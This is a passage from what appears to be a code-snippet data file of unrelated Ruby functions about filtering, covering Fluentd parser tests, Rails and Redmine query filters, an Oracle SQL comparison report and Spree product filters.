filtered[4]\n assert_equal 'test.no.change', fifth[0]\n assert_equal Time.parse(\"2012-04-02 18:21:00\").to_i, fifth[1]\n assert_equal '9', fifth[2]['x']\n assert_equal '0', fifth[2]['y']\n\n d2 = create_driver(%[\n tag parsed\n key_name data\n format /^(?<x>.)(?<y>.) (?<t>.+)$/\n ], 'test.no.change')\n time = @time.to_i\n d2.run do\n d2.filter({'data' => '12 20120402182059'}, time)\n d2.filter({'data' => '34 20120402182100'}, time)\n end\n filtered = d2.filtered_as_array\n assert_equal 2, filtered.length\n\n first = filtered[0]\n assert_equal 'test.no.change', first[0]\n assert_equal time, first[1]\n assert_nil first[2]['data']\n assert_equal '1', first[2]['x']\n assert_equal '2', first[2]['y']\n assert_equal '20120402182059', first[2]['t']\n\n second = filtered[1]\n assert_equal 'test.no.change', second[0]\n assert_equal time, second[1]\n assert_nil second[2]['data']\n assert_equal '3', second[2]['x']\n assert_equal '4', second[2]['y']\n assert_equal '20120402182100', second[2]['t']\n\n d3 = create_driver(%[\n tag parsed\n key_name data\n format /^(?<x>[0-9])(?<y>[0-9]) (?<t>.+)$/\n ], 'test.no.change')\n time = @time.to_i\n d3.run do\n d3.filter({'data' => '12 20120402182059'}, time)\n d3.filter({'data' => '34 20120402182100'}, time)\n d3.filter({'data' => 'xy 20120402182101'}, time)\n end\n filtered = d3.filtered_as_array\n assert_equal 2, filtered.length\n\n d3x = create_driver(%[\n tag parsed\n key_name data\n format /^(?<x>\\\\d)(?<y>\\\\d) (?<t>.+)$/\n reserve_data yes\n ], 'test.no.change')\n time = @time.to_i\n d3x.run do\n d3x.filter({'data' => '12 20120402182059'}, time)\n d3x.filter({'data' => '34 20120402182100'}, time)\n d3x.filter({'data' => 'xy 20120402182101'}, time)\n end\n filtered = d3x.filtered_as_array\n assert_equal 3, filtered.length\n\n d4 = create_driver(%[\n tag parsed\n key_name data\n format json\n ], 'test.no.change')\n time = @time.to_i\n d4.run do\n d4.filter({'data' => '{\"xxx\":\"first\",\"yyy\":\"second\"}', 'xxx' => 'x', 'yyy' => 'y'}, time)\n d4.filter({'data' => 'foobar', 'xxx' => 'x', 'yyy' => 'y'}, time)\n end\n filtered = d4.filtered_as_array\n assert_equal 1, filtered.length\n\n d4x = create_driver(%[\n tag parsed\n key_name data\n format json\n reserve_data yes\n ], 'test.no.change')\n time = @time.to_i\n d4x.run do\n d4x.filter({'data' => '{\"xxx\":\"first\",\"yyy\":\"second\"}', 'xxx' => 'x', 'yyy' => 'y'}, time)\n d4x.filter({'data' => 'foobar', 'xxx' => 'x', 'yyy' => 'y'}, time)\n end\n filtered = d4x.filtered_as_array\n assert_equal 2, filtered.length\n\n first = filtered[0]\n assert_equal 'test.no.change', first[0]\n assert_equal time, first[1]\n assert_equal '{\"xxx\":\"first\",\"yyy\":\"second\"}', first[2]['data']\n assert_equal 'first', first[2]['xxx']\n assert_equal 'second', first[2]['yyy']\n\n second = filtered[1]\n assert_equal 'test.no.change', second[0]\n assert_equal time, second[1]\n assert_equal 'foobar', second[2]['data']\n assert_equal 'x', second[2]['xxx']\n assert_equal 'y', second[2]['yyy']\n end",
"def index \n\n ...\r\n \r\n #add/remove any selected filters\n selected_filter_conditions(Widget)\n\n @widgets = Widget.find(:all,{}, {:conditions => @conditions, :include => @included}) \n \n # This can be combined with any named scopes eg \n # @widgets = Widget.active.popular.find(:all,{}, {:conditions => @conditions, :include => @included}) \n\r\n \n #generate filters for results\n filter_headings(Widget, @widgets)\n\n ...\n\r\n end\n\n\n....\n\n\nend",
"def run_eth_query(heading,filter)\n filter = '1=1' if filter.blank?\n query = Query.find_by_sql([\n \"select IsNull(el1.id,9),el1.description ethnicity, '#{heading}' heading, count(c.id) count\\n\"+\n \"from claims c\\n\"+\n \" left join claims_data d on d.id = c.id\\n\"+\n \" left join patients p on p.id = c.patient_id\\n\"+\n \" left join ethnicities eth on eth.id = p.ethnicity_id \\n\"+\n \" left join level1_ethnicities el1 on el1.id = eth.level1_ethnicity_id\\n\"+\n \"where c.date_service >= ? and c.date_service <= ? \\n\"+\n \" and c.programme_id = ?\\n\"+\n \" and c.claim_status_id <= 6\\n\"+\n \" and #{filter}\\n\"+\n \"group by IsNull(el1.id,9),el1.description\\n\"+\n \"order by 1\\n\",\n @criteria.start_date, @criteria.end_date, @criteria.programme_id])\n query\n end",
"def test_filter_creation\n md_report = @twitter_reporter.reports.create(:body => 'here in #21108')\n assert_equal 5, (md_report.filters & %w(annapolis baltimore maryland northamerica unitedstates).map { |c| Filter.find_by_name(c) }).size\n ca_report = @twitter_reporter.reports.create(:body => 'all is well in 94107')\n assert_equal 4, (ca_report.filters & %w(sanfrancisco california northamerica unitedstates).map { |c| Filter.find_by_name(c) }).size\n end",
"def _filter_counts\n js_emit = ''\n @filters.each do |filter|\n filter[1][:subfilters].to_a.each do |sf|\n sf[1][:options].to_a.each do |sfop|\n f, s, i, c, total_records = filter_prepare(filter[0], {sf[0] => {sfop[0] => '1'}})\n js_emit += \"jQuery('##{@jqgrid_id}_#{filter[0]}_#{sf[0]}_#{sfop[0]}_count').html(#{total_records});\"\n end\n end\n end\n render :js => js_emit\n end",
"def filter_proc(filters = {})\n lambda do |p|\n (filters[:name].nil? || p.name =~ filters[:name]) &&\n (filters[:appid_name].nil? || p.app_id_name =~ filters[:appid_name]) &&\n (filters[:appid].nil? || p.entitlements.app_id =~ filters[:appid]) &&\n (filters[:uuid].nil? || p.uuid =~ filters[:uuid]) &&\n (filters[:team].nil? || p.team_name =~ filters[:team] || p.team_ids.any? { |id| id =~ filters[:team] }) &&\n (filters[:exp].nil? || (p.expiration_date < DateTime.now) == filters[:exp]) &&\n (filters[:has_devices].nil? || !(p.provisioned_devices || []).empty? == filters[:has_devices]) &&\n (filters[:all_devices].nil? || p.provisions_all_devices == filters[:all_devices]) &&\n (filters[:aps_env].nil? || match_aps_env(p.entitlements.aps_environment, filters[:aps_env])) &&\n true\n end\n end",
"def filters\n end",
"def check_if_filter_used(filtername)\n\n # define vars\n filterused = nil\n\n if $opts[:interfacemapout]\n $h_ints_map_out.each_key do |x|\n int, sub = x.split()\n\n # if $h_interfaces[int][sub][:ipv4_input_filter] == filtername ||\\\n # $h_interfaces[int][sub][:ipv6_input_filter] == filtername ||\\\n # $h_interfaces[int][sub][:ipv4_output_filter] == filtername ||\\\n # $h_interfaces[int][sub][:ipv6_output_filter] == filtername\n #\n # filterused = true\n # return filterused if filterused\n #\n # end\n end\n else\n # Check to see if filter is used by an interface\n $h_interfaces.each_key do |int|\n $h_interfaces[int].each_key do |sub|\n if $h_interfaces[int][sub][:ipv4_input_filter] == filtername ||\\\n $h_interfaces[int][sub][:ipv6_input_filter] == filtername ||\\\n $h_interfaces[int][sub][:ipv4_output_filter] == filtername ||\\\n $h_interfaces[int][sub][:ipv6_output_filter] == filtername\n\n filterused = true\n return filterused if filterused\n\n end\n end\n end\n end\n return filterused\nend",
"def additional_blocks_with_time_report_query\n return @@additional_blocks if defined?(@@additional_blocks)\n\n @@additional_blocks = Dir.glob(\"#{Redmine::Plugin.directory}/*/app/views/my/blocks/_*.{rhtml,erb}\").inject({}) do |h,file|\n name = File.basename(file).split('.').first.gsub(/^_/, '')\n\n ################\n # Smile specific : partials overriden in plugin ignored\n unless (\n # Query selection partials ignored : plugins overrides partial\n name.end_with?('_query_selection') ||\n # Core blocks partials ignored : plugins overrides partial\n (name == 'issues') ||\n CORE_BLOCKS.keys.include?(name)\n )\n h[name] = {:label => name.to_sym, :partial => \"my/blocks/#{name}\"}\n else\n Rails.logger.debug \"==>prof additional_blocks_with_time_report_query, overriden by plugin : #{name} partial\"\n end\n\n h\n end\n\n Rails.logger.debug \"==>prof additional_blocks_with_time_report_query #{@@additional_blocks}\"\n @@additional_blocks\n end",
"def parse_filter(definition, primary, secondary = nil, extra = nil)\n\n if primary.is_a?(Hash)\n fail ClearlyQuery::FilterArgumentError.new(\"filter hash must have at least 1 entry, got '#{primary.size}'\", {hash: primary}) if primary.blank? || primary.size < 1\n fail ClearlyQuery::FilterArgumentError.new(\"extra must be null when processing a hash, got '#{extra}'\", {hash: primary}) unless extra.blank?\n\n conditions = []\n\n primary.each do |key, value|\n result = parse_filter(definition, key, value, secondary)\n if result.is_a?(Array)\n conditions.push(*result)\n else\n conditions.push(result)\n end\n end\n\n conditions\n\n elsif primary.is_a?(Symbol)\n\n case primary\n when :and, :or\n combiner = primary\n filter_hash = secondary\n result = parse_filter(definition, filter_hash)\n combine_all(combiner, result)\n when :not\n #combiner = primary\n filter_hash = secondary\n\n #fail CustomErrors::FilterArgumentError.new(\"'Not' must have a single combiner or field name, got #{filter_hash.size}\", {hash: filter_hash}) if filter_hash.size != 1\n\n result = parse_filter(definition, filter_hash)\n\n #fail CustomErrors::FilterArgumentError.new(\"'Not' must have a single filter, got #{hash.size}.\", {hash: filter_hash}) if result.size != 1\n\n if result.respond_to?(:map)\n negated_conditions = result.map { |c| compose_not(c) }\n else\n negated_conditions = [compose_not(result)]\n end\n negated_conditions\n\n when *definition.all_fields.dup.push(/\\./)\n field = primary\n field_conditions = secondary\n info = definition.parse_table_field(field)\n result = parse_filter(definition, field_conditions, info)\n\n build_subquery(definition, info, result)\n\n when *OPERATORS\n filter_name = primary\n filter_value = secondary\n info = extra\n\n table = info[:arel_table]\n column_name = info[:field_name]\n valid_fields = info[:filter_settings][:fields][:valid]\n\n custom_field = definition.build_custom_field(column_name)\n\n if custom_field.blank?\n condition(filter_name, table, column_name, valid_fields, filter_value)\n else\n condition_node(filter_name, custom_field, filter_value)\n end\n\n else\n fail ClearlyQuery::FilterArgumentError.new(\"unrecognised combiner or field name '#{primary}'\")\n end\n else\n fail ClearlyQuery::FilterArgumentError.new(\"unrecognised filter component '#{primary}'\")\n end\n end",
"def tasks(filter, hosts)\n # put all tasks on all requested hosts in the same list\n tasks = []\n hosts.each do |host|\n tasks.concat(tasksOnHost(filter, host))\n end\n\n puts(format('%d tasks as of: %s', tasks.size, Time.now.strftime('%Y-%m-%d %H:%M:%S')))\n\n if tasks.empty?\n puts('No ' + filter + ' tasks currently running.')\n else\n\n # determine table width\n longestStatusWidth = 0\n longestDescriptionWidth = 0\n tasks.each do |t|\n longestStatusWidth = [longestStatusWidth, t.status.length].max\n longestDescriptionWidth = [longestDescriptionWidth, t.description.length].max\n end\n\n # set the maximum character width of each column, without padding\n hostWidth = 15\n startTimeWidth = 19\n stateWidth = 8\n descriptionWidth = [32, longestDescriptionWidth].min\n statusWidth = [36, longestStatusWidth + 27].min\n\n rowSeparator = '+' + '-' * (hostWidth + 2) +\n '+' + '-' * (startTimeWidth + 2) +\n '+' + '-' * (stateWidth + 2) +\n '+' + '-' * (descriptionWidth + 2) +\n '+' + '-' * (statusWidth + 2) + '+'\n\n # print table header\n cells = [setCellWidth('Host', hostWidth),\n setCellWidth('Start Time', startTimeWidth),\n setCellWidth('State', stateWidth),\n setCellWidth('Description', descriptionWidth),\n setCellWidth('Status', statusWidth)]\n\n line = format('| %s | %s | %s | %s | %s |', *cells)\n\n puts(rowSeparator)\n puts(line)\n\n # print table content\n tasks.each do |t|\n cells = [setCellWidth(t.host.hostname, hostWidth),\n setCellWidth(t.starttime.strftime('%Y-%m-%d %H:%M:%S'), startTimeWidth),\n setCellWidth(t.state, stateWidth),\n setCellWidth(t.description, descriptionWidth),\n setCellWidth(format('%s (since %d seconds ago)', t.status, Time.now - t.statustime), statusWidth)]\n\n line = format('| %s | %s | %s | %s | %s |', *cells)\n\n puts(rowSeparator)\n puts(line)\n end\n puts(rowSeparator)\n\n end\n end",
"def run_filters\n status = :no_match\n matching_filters = [] \n DataFileFilter.active.each do |filter|\n case filter.match(self)\n when :positive_match\n status = :accepted if status == :no_match\n matching_filters << filter\n when :negative_match\n status = :rejected\n matching_filters << filter\n when :no_match\n next\n end\n end\n return [status,matching_filters]\n end",
"def throttle_filter_class\n {:_type.nin => [self.class.name]}\n end",
"def tasks_by_filters\n to_include = [ :users, :tags, :sheets, :todos, :dependencies, \n :milestone, :notifications, :watchers, \n :customers ]\n to_include << { :work_logs => :user }\n to_include << { :company => :properties }\n to_include << { :project => :customer }\n to_include << { :task_property_values => { :property_value => :property } }\n to_include << { :dependants => [:users, :tags, :sheets, :todos, \n { :project => :customer }, :milestone ] }\n\n conditions = filter\n conditions += \" AND tasks.project_id in (#{ @select_project_ids })\"\n conditions += \" AND #{ @extra_conditions }\" if !@extra_conditions.blank?\n\n Task.find(:all, \n :conditions => [ conditions ],\n :include => to_include, \n :limit => 250,\n :order => \"tasks.id desc\")\n end",
"def prepend_meantime_filter(*filters)\n conditions = extract_conditions!(filters)\n add_action_conditions(filters, conditions)\n prepend_filter_to_chain('meantime', filters)\n end",
"def run_target_with_filters(method, args = [])\n self.is_amf = true\n self.allow_after_filters = false\n \n afters = []\n befores = []\n \n #populate the before and after arrays\n self.filter_chain.each do |fl|\n if(fl.inspect.to_s.match(/BeforeFilter/))\n befores << fl\n elsif(fl.class.to_s.match(/AfterFilter/))\n afters.unshift(fl)\n end\n end\n \n @executed_filters = {}\n befores.each do |fl|\n begin\n if @executed_filters[fl.filter] || @executed_filters[fl.filter.inspect.to_s.split('/').last.to_s]\n next\n end\n if fl.inspect.to_s.match(/Proc/) != nil #proc filter\n r = fl.filter.call(self)\n if r == false #catch false\n line = fl.filter.inspect.to_s.split('/').last.split(':').last.sub('>','')\n raise RUBYAMFException.new(RUBYAMFException.FILTER_CHAIN_HAULTED, \"The Rails proc filter on line {#{line}} haulted\")\n elsif r.class.to_s == 'FaultObject' #catch return FaultObject's\n raise RUBYAMFException.new(r.faultCode, r.faultString)\n end\n @executed_filters[fl.filter.inspect.split('/').last.to_s] = true\n else #method filter\n if args.empty?\n r = self.send(fl.filter.to_s)\n else\n r = self.send(fl.filter.to_s, *args) #splat args out\n end\n \n if r == false #catch false\n raise RUBYAMFException.new(RUBYAMFException.FILTER_CHAIN_HAULTED, \"The Rails method filter {#{fl.filter.to_s}} haulted\") \n elsif r.class.to_s == 'FaultObject' #catch returned FaultObjects\n raise RUBYAMFException.new(r.faultCode, r.faultString)\n end\n @executed_filters[fl.filter] = true\n end\n #elsif(fl.inspect.to_s.match(/ProcWithCallFilter/))\n # fl.filter.call(controller, ?action?)\n rescue Exception => e #catch exceptions\n \t if e.message == \"exception class/object expected\" #if raised a RubyAMF FaultObject\n \t raise RUBYAMFException.new(RUBYAMFException.USER_ERROR,\"You cannot raise a FaultObject, return it instead.\")\n \t else \n \t raise RUBYAMFException.new(RUBYAMFException.USER_ERROR,e.message)\n \t end\n rescue LocalJumpError => e #incorrect superclass error supression\n next\n end\n end\n \n begin\n res = self.send(method) #Call target Method\n if !self.allow_after_filters\n if self.used_render_amf #flag if used respond_to, then content will be in self.amf_content\n return self.amf_content\n else\n return res #return prematurely\n end\n end\n rescue Exception => e\n raise RUBYAMFException.new(RUBYAMFException.USER_ERROR, e.message)\n end\n \n #Call afters\n afters.each do |fl|\n begin\n if @executed_filters[fl.filter] || @executed_filters[fl.filter.inspect.to_s.split('/').last.to_s]\n next\n end\n if(fl.inspect.to_s.match(/Proc/) != nil)\n r = fl.filter.call(self)\n if r == false #catch false\n line = fl.filter.inspect.to_s.split('/').last.split(':').last.sub('>','')\n raise RUBYAMFException.new(RUBYAMFException.FILTER_CHAIN_HAULTED, \"The Rails proc filter on line {#{line}} haulted\")\n elsif r.class.to_s == 'FaultObject' #catch return FaultObject's\n raise RUBYAMFException.new(r.faultCode, r.faultString)\n end\n @executed_filters[fl.filter.inspect.split('/').last.to_s] = true\n else\n #call method\n if args.empty?\n r = self.send(fl.filter.to_s)\n else\n r = self.send(fl.filter.to_s,args)\n end\n \n if r == false #catch false\n raise RUBYAMFException.new(RUBYAMFException.FILTER_CHAIN_HAULTED, \"The Rails method filter {#{fl.filter.to_s}} haulted\") \n elsif r.class.to_s == 'FaultObject' #catch returned FaultObjects\n raise RUBYAMFException.new(r.faultCode, r.faultString)\n end\n @executed_filters[fl.filter] = true\n end\n #elsif(fl.inspect.to_s.match(/ProcWithCallFilter/))\n # fl.filter.call(controller, ?action?)\n rescue Exception => e #catch exceptions\n \t if e.message == \"exception class/object expected\" #if raised a RubyAMF FaultObject\n \t raise RUBYAMFException.new(RUBYAMFException.USER_ERROR,\"You cannot raise a FaultObject, return it instead.\")\n \t else \n \t raise RUBYAMFException.new(RUBYAMFException.USER_ERROR,e.message)\n \t end\n rescue LocalJumpError => e #incorrect superclass error supression\n next\n end\n end\n \n if self.used_render_amf\n return self.amf_content\n else\n return r #return the last value of r\n end\n end",
"def filters=(_arg0); end",
"def filters=(_arg0); end",
"def test_composite_var_filter__var_and_method_match\n composite_filter = Var_composite_filter\n \n context = {:vars => [\"template_path\" => 'b/taglib/b'], :self => Obj.new('b/taglib/b')}.context\n \n options = {:filters => composite_filter} \n exec = Tracing::Filter::Executor.new(options) \n result = exec.filters_allow?('msg', context)\n assert_equal true, result, \"Filter should allow passage\" \n end",
"def get_filter_conditions(filters, applied_filters)\n return {} if applied_filters.empty?\n filter_conditions = {}\n applied_filters.each do |applied_filter_key, applied_filter_values|\n applied_filter_details = array_item_by_key_value(filters, :name, applied_filter_key)\n case applied_filter_details[:es_type]\n when 'keyword'\n filter_conditions[applied_filter_details[:name]] = { terms: { applied_filter_details[:options][:field] => applied_filter_values } }\n when 'bool'\n filter_conditions[applied_filter_details[:name]] = { term: { applied_filter_details[:options][:field] => applied_filter_values } }\n when 'integer'\n if applied_filter_details[:options][:field].is_a? Array\n filter_conditions[applied_filter_details[:options][:field][0]] = { range: { applied_filter_details[:options][:field][0] => { gte: applied_filter_values[0] } } }\n filter_conditions[applied_filter_details[:options][:field][1]] = { range: { applied_filter_details[:options][:field][1] => { lte: applied_filter_values[1] } } }\n else\n filter_conditions[applied_filter_details[:name]] = { range: { applied_filter_details[:name] => { gte: applied_filter_values[0], lte: applied_filter_values[1] } } }\n end\n when 'datetime'\n min = Time.parse(\"#{Time.parse(applied_filter_values[0]).strftime('%Y/%m/%d %H:%M:%S')} #{\"UTC\"}\").utc.strftime('%Y%m%dT%H%M%S%z')\n max = Time.parse(\"#{Time.parse(applied_filter_values[1]).strftime('%Y/%m/%d %H:%M:%S')} #{\"UTC\"}\").utc.strftime('%Y%m%dT%H%M%S%z')\n filter_conditions[applied_filter_details[:name]] = { range: { applied_filter_details[:name] => { gte: min, lte: max } } }\n end\n end\n filter_conditions\n end",
"def validate_query_filters\n super\n\n or_filters.each_key do |field|\n if values_for(field)\n case type_for(field)\n when :integer\n add_filter_error(field, :invalid, true) if or_values_for(field).detect {|v| v.present? && !v.match(/\\A[+-]?\\d+(,[+-]?\\d+)*\\z/) }\n when :float\n add_filter_error(field, :invalid, true) if or_values_for(field).detect {|v| v.present? && !v.match(/\\A[+-]?\\d+(\\.\\d*)?\\z/) }\n when :date, :date_past\n case or_operator_for(field)\n when \"=\", \">=\", \"<=\", \"><\"\n add_filter_error(field, :invalid, true) if or_values_for(field).detect {|v|\n v.present? && (!v.match(/\\A\\d{4}-\\d{2}-\\d{2}(T\\d{2}((:)?\\d{2}){0,2}(Z|\\d{2}:?\\d{2})?)?\\z/) || parse_date(v).nil?)\n }\n when \">t-\", \"<t-\", \"t-\", \">t+\", \"<t+\", \"t+\", \"><t+\", \"><t-\"\n add_filter_error(field, :invalid, true) if or_values_for(field).detect {|v| v.present? && !v.match(/^\\d+$/) }\n end\n end\n end\n\n add_filter_error(field, :blank, true) unless\n # filter requires one or more values\n (or_values_for(field) and !or_values_for(field).first.blank?) or\n # filter doesn't require any value\n [\"o\", \"c\", \"!*\", \"*\", \"t\", \"ld\", \"w\", \"lw\", \"l2w\", \"m\", \"lm\", \"y\", \"*o\", \"!o\"].include? or_operator_for(field)\n end if or_filters && or_filters.respond_to?(:each_key)\n end",
"def list_compare_sql_area_historic\n @minProzDiff= params[:minProzDiff].to_i\n @tag1 = params[:tag1]\n @tag2 = params[:tag2]\n @instance = prepare_param_instance\n @filter = params[:filter]\n @filter = nil if @filter == \"\"\n @sql_id = params[:sql_id]\n @sql_id = nil if @sql_id == \"\"\n\n # !!! Kein Filter auf DBID in diesem SQL, damit nach Abzug und Neuaufbau einer DB die Historien miteinander verglichen werden können\n where_string = \" WHERE TRUNC(ss.Begin_Interval_Time) = TO_TIMESTAMP(?, 'DD.MM.YYYY') \"\n where_string_global = \"\"\n where_values1 = [@tag1]\n where_values2 = [@tag2]\n where_values_global = []\n\n if @instance\n where_string << \" AND s.Instance_Number = ? \"\n where_values1 << @instance\n where_values2 << @instance\n end\n\n if @sql_id\n where_string << \" AND s.SQL_ID = ? \"\n where_values1 << @sql_id\n where_values2 << @sql_id\n end\n\n if @filter\n where_string_global << \" AND UPPER(t.SQL_Text) LIKE '%'||UPPER(?)||'%' \"\n where_values_global << @filter\n end\n\n\n @diffs = sql_select_all [\"\\\n SELECT /*+ Panorama-Tool Ramm */\n GREATEST(t1.Instance_Count,t2.Instance_Count) Instance_Count,\n LEAST(t1.Min_Instance_Number, t2.Min_Instance_Number) Min_Instance_Number,\n t1.Min_Instance_Number Min_Instance_Number_t1,\n t2.Min_Instance_Number Min_Instance_Number_t2,\n t1.SQL_ID, t1.Parsing_Schema_Name,\n t.SQL_text,\n -- Anzahl Plaene, gleiche Plaene an beiden Tagen nur als einen zaehlen, daher -1\n t1.Execution_Plan_Count + t2.Execution_Plan_Count -\n CASE WHEN t1.Max_Plan_Hash_Value = t2.Max_Plan_Hash_Value\n AND t1.Execution_Plan_Count != 0\n AND t2.Execution_Plan_Count != 0\n THEN 1 ELSE 0 END Execution_Plan_Count,\n t1.DBID DBID_t1,\n t2.DBID DBID_t2,\n t1.Elapsed_Time Elapsed_Time_t1,\n t2.Elapsed_Time Elapsed_Time_t2,\n t1.Executions Executions_t1,\n t2.Executions Executions_t2,\n t1.Elapsed_Time/t1.Executions Elapsed_Per_Exec_t1,\n t2.Elapsed_Time/t2.Executions Elapsed_Per_Exec_t2,\n t1.Rows_Processed Rows_Processed_t1,\n t2.Rows_Processed Rows_Processed_t2,\n t1.Min_Snap_ID Min_Snap_ID_t1,\n t1.Max_Snap_ID Max_Snap_ID_t1,\n t2.Min_Snap_ID Min_Snap_ID_t2,\n t2.Max_Snap_ID Max_Snap_ID_t2\n FROM (\n SELECT COUNT(DISTINCT s.Instance_Number) Instance_Count,\n MIN(s.Instance_Number) Min_Instance_Number,\n s.SQL_ID, s.DBID, s.Parsing_Schema_Name,\n MAX(s.Plan_Hash_Value) Max_Plan_Hash_Value,\n COUNT(DISTINCT CASE WHEN s.Plan_Hash_Value = 0 THEN NULL ELSE s.Plan_Hash_Value END) Execution_Plan_Count,\n SUM(s.Elapsed_Time_Delta) Elapsed_Time,\n SUM(Executions_Delta) Executions,\n SUM(Rows_Processed_Delta) Rows_Processed,\n MIN(ss.Snap_ID) Min_Snap_ID,\n MAX(ss.Snap_ID) Max_Snap_ID\n FROM DBA_Hist_Snapshot ss \n JOIN DBA_Hist_SQLStat s ON s.DBID = ss.DBID AND s.Instance_Number = ss.Instance_Number AND s.Snap_ID = ss.Snap_ID\n #{where_string}\n GROUP BY s.SQL_ID, s.DBID, s.Parsing_Schema_Name\n HAVING SUM(Executions_Delta) > 0\n ) t1\n JOIN (\n SELECT COUNT(DISTINCT s.Instance_Number) Instance_Count,\n MIN(s.Instance_Number) Min_Instance_Number,\n s.SQL_ID, s.DBID, s.Parsing_Schema_Name,\n MAX(s.Plan_Hash_Value) Max_Plan_Hash_Value,\n COUNT(DISTINCT CASE WHEN s.Plan_Hash_Value = 0 THEN NULL ELSE s.Plan_Hash_Value END) Execution_Plan_Count,\n SUM(s.Elapsed_Time_Delta) Elapsed_Time,\n SUM(Executions_Delta) Executions,\n SUM(Rows_Processed_Delta) Rows_Processed,\n MIN(ss.Snap_ID) Min_Snap_ID,\n MAX(ss.Snap_ID) Max_Snap_ID\n FROM DBA_Hist_Snapshot ss\n JOIN DBA_Hist_SQLStat s ON s.DBID = ss.DBID AND s.Instance_Number = ss.Instance_Number AND s.Snap_ID = ss.Snap_ID\n #{where_string}\n GROUP BY s.SQL_ID, s.DBID, s.Parsing_Schema_Name\n HAVING SUM(Executions_Delta) > 0\n ) t2 ON t1.SQL_ID = t2.SQL_ID AND t1.Parsing_Schema_Name = t2.Parsing_Schema_Name\n JOIN DBA_Hist_SQLText t ON t.DBID = t1.dbID AND t.SQL_ID = t1.SQL_ID\n WHERE t2.Elapsed_time/t2.Executions > t1.Elapsed_Time/t1.Executions * (100 + ?)/100\n #{where_string_global}\n ORDER BY (t2.Elapsed_Time/t2.Executions - t1.Elapsed_Time/t1.Executions) * t2.Executions DESC\n \"].concat(where_values1).concat(where_values2).concat([@minProzDiff]).concat(where_values_global)\n\n respond_to do |format|\n format.js {render :js => \"$('#compare_sql_area_historic_area').html('#{j render_to_string :partial=>\"list_compare_sql_area_historic\" }');\"}\n end\n end",
"def add_filtering_tests\n measure = ApplicationController.helpers.pick_measure_for_filtering_test(measure_ids, bundle)\n reload_relations\n\n return if product_tests.filtering_tests.any?\n criteria = %w(races ethnicities genders payers age).shuffle\n filter_tests = []\n filter_tests.concat [build_filtering_test(measure, criteria[0, 2]), build_filtering_test(measure, criteria[2, 2])]\n filter_tests << build_filtering_test(measure, ['providers'], 'NPI, TIN & Provider Location')\n filter_tests << build_filtering_test(measure, ['providers'], 'NPI & TIN', false)\n criteria = ApplicationController.helpers.measure_has_diagnosis_criteria?(measure) ? ['problems'] : criteria.values_at(4, (0..3).to_a.sample)\n filter_tests << build_filtering_test(measure, criteria)\n ApplicationController.helpers.generate_filter_records(filter_tests)\n end",
"def typus_fields_for(filter)\n\n fields_with_type = ActiveSupport::OrderedHash.new\n\n begin\n if self.respond_to?(\"admin_fields_for_#{filter}\")\n fields = self.send(\"admin_fields_for_#{filter}\")\n else\n fields = Typus::Configuration.config[self.name]['fields'][filter.to_s]\n fields = fields.split(', ').collect { |f| f.to_sym }\n end\n rescue\n filter = 'list'\n retry\n end\n\n begin\n\n fields.each do |field|\n\n attribute_type = self.model_fields[field]\n\n # Custom field_type depending on the attribute name.\n case field.to_s\n when 'parent_id': attribute_type = :tree\n when /file_name/: attribute_type = :file\n when /password/: attribute_type = :password\n when 'position': attribute_type = :position\n end\n\n if self.reflect_on_association(field)\n attribute_type = self.reflect_on_association(field).macro\n end\n\n if self.typus_field_options_for(:selectors).include?(field)\n attribute_type = :selector\n end\n\n # And finally insert the field and the attribute_type \n # into the fields_with_type ordered hash.\n fields_with_type[field.to_s] = attribute_type\n\n end\n\n rescue\n fields = Typus::Configuration.config[self.name]['fields']['list'].split(', ')\n retry\n end\n\n return fields_with_type\n\n end",
"def applicable_filters\n fs = []\n fs << Spree::ProductFilters.taxons_below(self)\n ## unless it's a root taxon? left open for demo purposes\n\n fs << Spree::ProductFilters.price_filter if Spree::ProductFilters.respond_to?(:price_filter)\n fs << Spree::ProductFilters.brand_filter if Spree::ProductFilters.respond_to?(:brand_filter)\n #fs << Spree::ProductFilters.occasion_filter if Spree::ProductFilters.respond_to?(:occasion_filter)\n #fs << Spree::ProductFilters.holiday_filter if Spree::ProductFilters.respond_to?(:holiday_filter)\n fs << Spree::ProductFilters.selective_occasion_filter(self) if Spree::ProductFilters.respond_to?(:selective_occasion_filter)\n fs << Spree::ProductFilters.selective_holiday_filter(self) if Spree::ProductFilters.respond_to?(:selective_holiday_filter)\n fs\n end",
"def applicable_filters\n fs = []\n fs << Spree::ProductFilters.taxons_below(self)\n ## unless it's a root taxon? left open for demo purposes\n\n fs << Spree::ProductFilters.price_filter if Spree::ProductFilters.respond_to?(:price_filter)\n fs << Spree::ProductFilters.brand_filter if Spree::ProductFilters.respond_to?(:brand_filter)\n #fs << Spree::ProductFilters.occasion_filter if Spree::ProductFilters.respond_to?(:occasion_filter)\n #fs << Spree::ProductFilters.holiday_filter if Spree::ProductFilters.respond_to?(:holiday_filter)\n fs << Spree::ProductFilters.selective_occasion_filter(self) if Spree::ProductFilters.respond_to?(:selective_occasion_filter)\n fs << Spree::ProductFilters.selective_holiday_filter(self) if Spree::ProductFilters.respond_to?(:selective_holiday_filter)\n fs\n end",
"def check_filter_options() #:nodoc:\r\n table_name = @tables.first[1]\r\n model = @tables.first[0]\r\n session[table_name] ||= {}\r\n# process page\r\n session[table_name][:page] = params[:page] if params[:page]\r\n# new filter is applied\r\n if params[:filter]\r\n set_session_filter(table_name)\r\n session[table_name][:page] = 1\r\n end\r\n# if data model has field dc_site_id ensure that only documents which belong to the site are selected.\r\n site_id = dc_get_site._id if dc_get_site\r\n# dont't filter site if no dc_site_id field or user is ADMIN\r\n site_id = nil if !model.method_defined?('dc_site_id') or dc_user_can(DcPermission::CAN_ADMIN)\r\n# \r\n if @records = DcFilter.get_filter(session[table_name][:filter])\r\n @records = @records.and(dc_site_id: site_id) if site_id\r\n else\r\n @records = if site_id\r\n model.where(dc_site_id: site_id)\r\n else\r\n model\r\n end\r\n end\r\n=begin \r\n# TODO Use only fields requested. Higly experimental but necessary in some scenarios\r\n if (columns = @form['result_set']['columns'])\r\n cols = []\r\n columns.each { |k,v| cols << v['name'] }\r\n p '*',cols,'*'\r\n @records = @records.only(cols)\r\n end\r\n=end \r\n# pagination if required\r\n per_page = (@form['result_set']['per_page'] || 30).to_i\r\n if per_page > 0\r\n @records = @records.page(session[table_name][:page]).per(per_page)\r\n end\r\nend",
